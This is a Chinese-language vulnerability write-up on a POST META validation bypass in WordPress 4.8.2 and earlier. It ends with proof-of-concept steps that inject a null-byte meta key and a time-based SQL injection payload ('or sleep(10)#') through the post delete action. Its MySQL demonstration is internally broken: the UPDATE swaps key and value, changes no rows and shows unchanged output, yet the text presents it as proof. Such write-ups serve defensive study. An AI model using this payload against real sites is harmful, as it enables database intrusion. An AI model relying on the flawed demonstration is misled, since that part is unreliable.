Wordpress <= 4.8.2 POST META 校验绕过漏洞
一、漏洞简介
二、漏洞影响
三、复现过程
一个MySQL的trick
1). 正常的条件查询语句
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)
2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”
mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
3). 再次执行第一步的查询
mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key | meta_value |
+---------+---------+----------------+------------+
| 4 | 4 | _thumbnail_id | TESTC |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)
我们可以发现依然可以查询出修改后的数据。
POST META 校验绕过
我们来看下检查meta_key的代码,文件./wp-includes/meta.php:
function is_protected_meta( $meta_key, $meta_type = null ) {
$protected = ( '_' == $meta_key[0] );
/**
* Filters whether a meta key is protected.
*
* [@since](/since) 3.2.0
*
* [@param](/param) bool $protected Whether the key is protected. Default false.
* [@param](/param) string $meta_key Meta key.
* [@param](/param) string $meta_type Meta type.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}
isprotected_meta函数只检查了$meta_key的第一个字符是否以开头。我们有了2.1的MySQL trick,想要绕过meta_key的检查就显得容易多了。
poc
添加自定义字段,meta_key为’_thumbnail_id’的meta_value为’55 %1$%s or sleep(10)#’
在添加自定义栏目/字段时抓包,将_thumbnail_id替换为%00_thumbnail_id
访问/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞
参考